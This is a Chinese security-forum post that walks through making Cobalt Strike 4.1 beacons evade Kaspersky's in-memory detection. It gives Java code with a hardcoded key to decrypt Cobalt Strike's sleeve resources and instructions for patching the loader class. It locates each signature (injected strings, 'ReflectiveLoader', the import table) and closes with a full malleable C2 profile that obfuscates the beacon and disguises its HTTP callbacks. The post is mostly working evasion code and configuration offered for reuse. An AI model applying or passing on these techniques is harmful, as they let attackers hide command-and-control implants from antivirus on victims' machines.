安全矩阵

 找回密码
 立即注册
搜索
查看: 2585|回复: 0

记一次cs bypass卡巴斯基内存查杀

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-4-4 20:44:06 | 显示全部楼层 |阅读模式
1.起始
在使用cobalt strike 的过程中,卡巴斯基对默认cs 4.1版本生成的beacon进行疯狂的内存查杀,特征多达6个。本次采用手动定位法确认特征,并通过修改配置达到内存免杀效果。
2.解密
从cs4.x开始,对beacon等资源进行了加密,需要解密后才能获得原始dll,为了更快测试修改后的dll,对cs的加载资源代码进行修改,让其可以直接加载未经加密的beacon.dll(感谢WBGII的解密脚本)
cs的资源放在sleeve文件夹内,cs的功能代码为beacon.dll /beacon.x64.dll,是内存查杀重点关注的对象
cs读取资源代码如下

对资源进行解密
  1. //Author: WBGII
  2. package csdecrypt;
  3. import common.SleevedResource;
  4. import java.io.*;
  5. public class Main {
  6.     public static void saveFile(String filename,byte [] data)throws Exception{
  7.         if(data != null){
  8.             String filepath =filename;
  9.             File file  = new File(filepath);
  10.             if(file.exists()){
  11.                 file.delete();
  12.             }
  13.             FileOutputStream fos = new FileOutputStream(file);
  14.             fos.write(data,0,data.length);
  15.             fos.flush();
  16.             fos.close();
  17.         }
  18.     }
  19.     public static byte[] toByteArray(File f) throws IOException {
  20.         ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length());
  21.         BufferedInputStream in = null;
  22.         try {
  23.             in = new BufferedInputStream(new FileInputStream(f));
  24.             int buf_size = 1024;
  25.             byte[] buffer = new byte[buf_size];
  26.             int len = 0;
  27.             while (-1 != (len = in.read(buffer, 0, buf_size))) {
  28.                 bos.write(buffer, 0, len);
  29.             }
  30.             return bos.toByteArray();
  31.         } catch (IOException e) {
  32.             e.printStackTrace();
  33.             throw e;
  34.         } finally {
  35.             try {
  36.                 in.close();
  37.             } catch (IOException e) {
  38.                 e.printStackTrace();
  39.             }
  40.             bos.close();
  41.         }
  42.     }
  43.     public static void main(String[] var0) throws Exception {
  44.         byte[] csdecrypt = new byte[]{1, -55, -61, 127, 102, 0, 0, 0, 100, 1, 0, 27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6};

  45.         SleevedResource.Setup(csdecrypt);
  46.         byte[] var7=null;
  47.         File file = new File("sleeve");     
  48.         File[] fs = file.listFiles();   

  49.         for(File ff:fs){                    
  50.             if(!ff.isDirectory())      
  51.                 var7 = SleevedResource.readResource(ff.getPath());
  52.                 saveFile("sleevedecrypt\"+ff.getName(),var7);
  53.                 System.out.println("解密成功:"+ff.getName());
  54.         }
  55.     }
  56. }
复制代码


解密后对cs的代码进行修改,让其直接可以加载为无加密的资源(资源替换sleeve文件夹)
/common/SleevedResource.class

去掉解密过程,让其直接读取字节数组后返回,使用javac编译,替换原有的class
3.测试将解密后的beacon.dll载入内存,使用KAP查杀,发现其并无Cobalt.gen报毒,但是修补后的payload存在报毒,遂怀疑为cs生成payload的过程中往里面加了东西导致该特征出现。

使用Beyond Compare比对原始dll和生成后的payload,发现生成后的payload多出很多字符串


对这些多出的字符串进行删除,发现少了三个报毒,断定其是Cobalt.gen报毒的原因,发现默认的c2 profile中会添加这些垃圾字符串,并没啥用(坑人),直接删除



删除后,将payload载入,发现卡巴不报Cobalt.gen。前三个特征处理完毕。

4.最后两个后续两个报毒如下:
MEM:Trojan.Win32.Cometer.gen
MEM:Trojan.Win32.SEPEH.gen
使用排列组合对区段进行清除以排查,清除rdata和data后发现载入内存后不杀。
发现rdata中出现敏感字符串ReflectiveLoader,遂修改,过了Cometer.gen
transform-x86 {        strrep "ReflectiveLoader" "misakaloader";}修改前:

修改后:

继续排查,单独提取rdata区段载入内存,发现其报毒SEPEH,就此确认这个查杀点位于此处。使用工具对其他字符清除,发现其继续报毒。为启发式查杀。随后在rdata区域发现如下内容

根据经验猜测修改Sleep,载入后发现KAP不查杀了,看来最后一个特征就是这里了。发现这里是IAT,准备想办法自行加密IAT。咨询WBGII大佬后,知晓c2 profile可以开启加密混淆IAT,遂使用配置 set obfuscate "true"; 成功bypass最后一个报毒。
手动扫描内存


5.提示由于分阶段的payload存在其他特征,请不要使用。生成stageless payload自行接管远程加载
https://wbglil.gitbook.io/cobalt-strike/
再次鸣谢WBGII大佬的配置帮助
最后附上c2 profile 文件
  1. <pre data-cke-widget-data="{&quot;code&quot;:&quot;# default sleep time is 60s\nset sleeptime \&quot;10000\&quot;;\n# jitter factor 0-99% [randomize callback times]\nset jitter    \&quot;0\&quot;;\n# maximum number of bytes to send in a DNS A record request\nset maxdns    \&quot;255\&quot;;\n# indicate that this is the default Beacon profile\nset sample_name \&quot;001\&quot;;\n\nstage {\n    set stomppe \&quot;true\&quot;;\n    set obfuscate \&quot;true\&quot;;\n    set cleanup \&quot;true\&quot;;\n    transform-x86 {\n        strrep \&quot;ReflectiveLoader\&quot; \&quot;misakaloader\&quot;;\n    }\n    transform-x64 {\n        strrep \&quot;ReflectiveLoader\&quot; \&quot;misakaloader\&quot;;\n    }\n}\n# define indicators for an HTTP GET\nhttp-get {\n    # Beacon will randomly choose from this pool of URIs\n    set uri \&quot;/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml\&quot;;\n    client {\n        # base64 encode session metadata and store it in the Cookie header.\n        metadata {\n            base64;\n            header \&quot;Cookie\&quot;;\n        }\n    }\n\n    server {\n        # server should send output with no changes\n        header \&quot;Content-Type\&quot; \&quot;application/octet-stream\&quot;;\n\n        output {\n            print;\n        }\n    }\n}\n\n# define indicators for an HTTP POST\nhttp-post {\n    # Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided]\n    set uri \&quot;/submit.php\&quot;;\n\n    client {\n        header \&quot;Content-Type\&quot; \&quot;application/octet-stream\&quot;;\n\n        # transmit our session identifier as /submit.php?id=[identifier]\n        id {\n            parameter \&quot;id\&quot;;\n        }\n\n        # post our output with no real changes\n        output {\n            print;\n        }\n    }\n\n    # The server's response to our HTTP POST\n    server {\n        header \&quot;Content-Type\&quot; \&quot;text/html\&quot;;\n\n        # this will just print an empty string, meh...\n        output {\n            print;\n        }\n    }\n}&quot;,&quot;classes&quot;:[]}" data-cke-widget-upcasted="1" data-cke-widget-keep-attr="0" data-widget="codeSnippet" class="cke_widget_element"><code class="hljs"># default sleep time is 60s
  2. set sleeptime "10000";
  3. # jitter factor 0-99% [randomize callback times]
  4. set jitter    "0";
  5. # maximum number of bytes to send in a DNS A record request
  6. set maxdns    "255";
  7. # indicate that this is the default Beacon profile
  8. set sample_name "001";

  9. stage {
  10.     set stomppe "true";
  11.     set obfuscate "true";
  12.     set cleanup "true";
  13.     transform-x86 {
  14.         strrep "ReflectiveLoader" "misakaloader";
  15.     }
  16.     transform-x64 {
  17.         strrep "ReflectiveLoader" "misakaloader";
  18.     }
  19. }
  20. # define indicators for an HTTP GET
  21. http-get {
  22.     # Beacon will randomly choose from this pool of URIs
  23.     set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml";
  24.     client {
  25.         # base64 encode session metadata and store it in the Cookie header.
  26.         metadata {
  27.             base64;
  28.             header "Cookie";
  29.         }
  30.     }

  31.     server {
  32.         # server should send output with no changes
  33.         header "Content-Type" "application/octet-stream";

  34.         output {
  35.             print;
  36.         }
  37.     }
  38. }

  39. # define indicators for an HTTP POST
  40. http-post {
  41.     # Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided]
  42.     set uri "/submit.php";

  43.     client {
  44.         header "Content-Type" "application/octet-stream";

  45.         # transmit our session identifier as /submit.php?id=[identifier]
  46.         id {
  47.             parameter "id";
  48.         }

  49.         # post our output with no real changes
  50.         output {
  51.             print;
  52.         }
  53.     }

  54.     # The server's response to our HTTP POST
  55.     server {
  56.         header "Content-Type" "text/html";

  57.         # this will just print an empty string, meh...
  58.         output {
  59.             print;
  60.         }
  61.     }
  62. }</code></pre><span class="cke_reset cke_widget_drag_handler_container" style="background: rgba(220, 220, 220, 0.5) url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release1.6.19="" ckeditor="" plugins="" widget="" images="" handle.png")="" repeat="" scroll="" 0%="" 0%;="" top:="" -15px;="" left:="" 0px;="" display:="" block;"=""></span>
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 02:52 , Processed in 0.013017 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表